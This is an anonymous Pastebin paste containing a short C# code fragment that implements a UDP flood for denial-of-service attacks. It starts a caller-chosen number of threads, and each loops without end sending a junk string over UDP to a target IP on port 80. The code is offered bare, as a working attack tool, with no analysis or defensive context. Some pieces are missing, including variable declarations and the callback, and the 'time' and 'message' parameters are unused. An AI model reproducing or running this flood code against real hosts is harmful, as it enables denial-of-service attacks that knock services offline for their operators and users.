Guest User

Untitled

a guest
Jan 18th, 2019
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 0.95 KB | None | 0 0
  1.         static void flood()
  2.         {
  3.             while (true)
  4.             {
  5.                 SendToHostUDP("cddc85551e55%3a5b3dc782602%8b56a47cd%dc85551e%553a5b3dc7826%028b56a47cdd%c85551e5%53a5b3dc7%826028b%56a47", target);
  6.             }
  7.         }
  8.  
  9.         static void floodUDP(String ip, int thread_A, int time, String message)
  10.         {
  11.             target = ip;
  12.      
  13.             threads = new Thread[thread_A];
  14.  
  15.             for (int i = 0; i < thread_A; i++)
  16.             {
  17.                 threads[i] = new Thread(new ThreadStart(flood));
  18.                 threads[i].Start();
  19.             }
  20.  
  21.            
  22.         }
  23.  
  24.         public static void SendToHostUDP(string Msg, string ip)
  25.         {
  26.             UdpClient udpClient = new UdpClient();
  27.             udpClient.Connect(ip, 80);
  28.             byte[] sdBytes = Encoding.ASCII.GetBytes(Msg);
  29.             udpClient.BeginSend(sdBytes, sdBytes.Length, CallBack, udpClient);
  30.            
  31.         }
Add Comment
Please, Sign In to add comment